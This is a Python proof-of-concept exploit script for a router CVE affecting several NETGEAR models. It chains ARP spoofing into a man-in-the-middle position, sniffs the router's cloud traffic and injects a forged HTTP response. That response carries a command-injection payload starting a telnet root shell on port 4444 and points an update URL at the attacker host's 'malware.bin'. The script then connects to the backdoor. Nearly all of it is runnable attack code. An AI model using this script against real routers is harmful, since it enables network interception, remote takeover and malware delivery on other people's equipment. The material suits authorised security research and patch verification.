# CVE-2026-9213 PoC - NETGEAR Gaming Router MitM to RCE
# This PoC demonstrates the concept of intercepting and tampering
# with traffic between the NETGEAR router and the Internet to achieve RCE.
#!/usr/bin/env python3
"""
CVE-2026-9213 Exploit PoC
Vulnerability: Missing integrity verification in router-to-cloud communication
Affected: NETGEAR MR70, MS70, RAXE500, XR1000
"""
from scapy.all import *
import socket
import struct
import time
TARGET_ROUTER_IP = "192.168.1.1" # Default NETGEAR router gateway
GATEWAY_IP = "192.168.1.254" # Upstream gateway
ATTACKER_IP = "192.168.1.100" # Attacker machine on LAN
# Step 1: Enable IP forwarding to act as MitM
def enable_ip_forwarding():
"""Enable IP forwarding on the attacker machine"""
import os
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
print("[*] IP forwarding enabled")
# Step 2: Perform ARP spoofing to place attacker in MitM position
def arp_spoof(router_ip, gateway_ip):
"""
Send ARP replies to poison the router's ARP cache,
making it forward traffic through the attacker.
"""
# Craft ARP reply: tell router that gateway's IP is at attacker's MAC
router_mac = getmacbyip(router_ip)
gateway_mac = getmacbyip(gateway_ip)
attacker_mac = get_if_hwaddr(conf.iface)
# ARP reply to router: I am the gateway
arp_to_router = ARP(op=2, pdst=router_ip, hwdst=router_mac,
psrc=gateway_ip, hwsrc=attacker_mac)
# ARP reply to gateway: I am the router
arp_to_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac,
psrc=router_ip, hwsrc=attacker_mac)
print(f"[*] Sending ARP poison to {router_ip} and {gateway_ip}")
send(arp_to_router, count=5, verbose=False)
send(arp_to_gateway, count=5, verbose=False)
# Step 3: Intercept and tamper with router-to-cloud communication
def intercept_and_tamper(packet):
"""
Intercept HTTP requests from the router to NETGEAR cloud servers
and inject malicious payload in the response.
"""
if packet.haslayer(TCP) and packet.haslayer(Raw):
src_ip = packet[IP].src
dst_ip = packet[IP].dst
payload = packet[Raw].load
# Detect router-to-cloud communication (e.g., firmware check, config sync)
if src_ip == TARGET_ROUTER_IP and b"netgear" in payload.lower():
print(f"[*] Intercepted router-to-cloud traffic: {src_ip} -> {dst_ip}")
# Craft malicious response with code injection payload
# The payload exploits the lack of integrity verification
malicious_response = build_malicious_response()
# Forward modified response back to router
inject_response(packet, malicious_response)
def build_malicious_response():
"""
Build a malicious response that exploits the router's
unverified parsing of cloud responses.
"""
# Command injection payload targeting router's update/config handler
payload = (
"HTTP/1.1 200 OK\r\n"
"Content-Type: application/json\r\n"
"\r\n"
'{"status":"ok","cmd":"`telnetd -l /bin/sh -p 4444`",'
'"update_url":"http://' + ATTACKER_IP + '/malware.bin"}'
)
return payload.encode()
def inject_response(original_packet, malicious_payload):
"""Send the malicious response to the router"""
router_mac = getmacbyip(TARGET_ROUTER_IP)
attacker_mac = get_if_hwaddr(conf.iface)
response = (
Ether(dst=router_mac, src=attacker_mac) /
IP(src=original_packet[IP].dst, dst=TARGET_ROUTER_IP) /
TCP(sport=original_packet[TCP].dport,
dport=original_packet[TCP].sport,
seq=original_packet[TCP].ack,
ack=original_packet[TCP].seq + len(original_packet[Raw].load),
flags="PA") /
Raw(load=malicious_payload)
)
sendp(response, verbose=False)
print("[+] Malicious payload injected to router!")
# Step 4: Connect to the backdoor
def connect_backdoor():
"""Connect to the shell opened on the router"""
print("[*] Waiting for backdoor to establish...")
time.sleep(5)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((TARGET_ROUTER_IP, 4444))
print("[+] Got shell on router!")
s.send(b"id\n")
print(s.recv(1024).decode())
s.close()
except Exception as e:
print(f"[-] Connection failed: {e}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2026-9213 - NETGEAR Router MitM to RCE PoC")
print("=" * 60)
enable_ip_forwarding()
arp_spoof(TARGET_ROUTER_IP, GATEWAY_IP)
print("[*] Sniffing for router-to-cloud traffic...")
sniff(filter=f"host {TARGET_ROUTER_IP}", prn=intercept_and_tamper, store=0)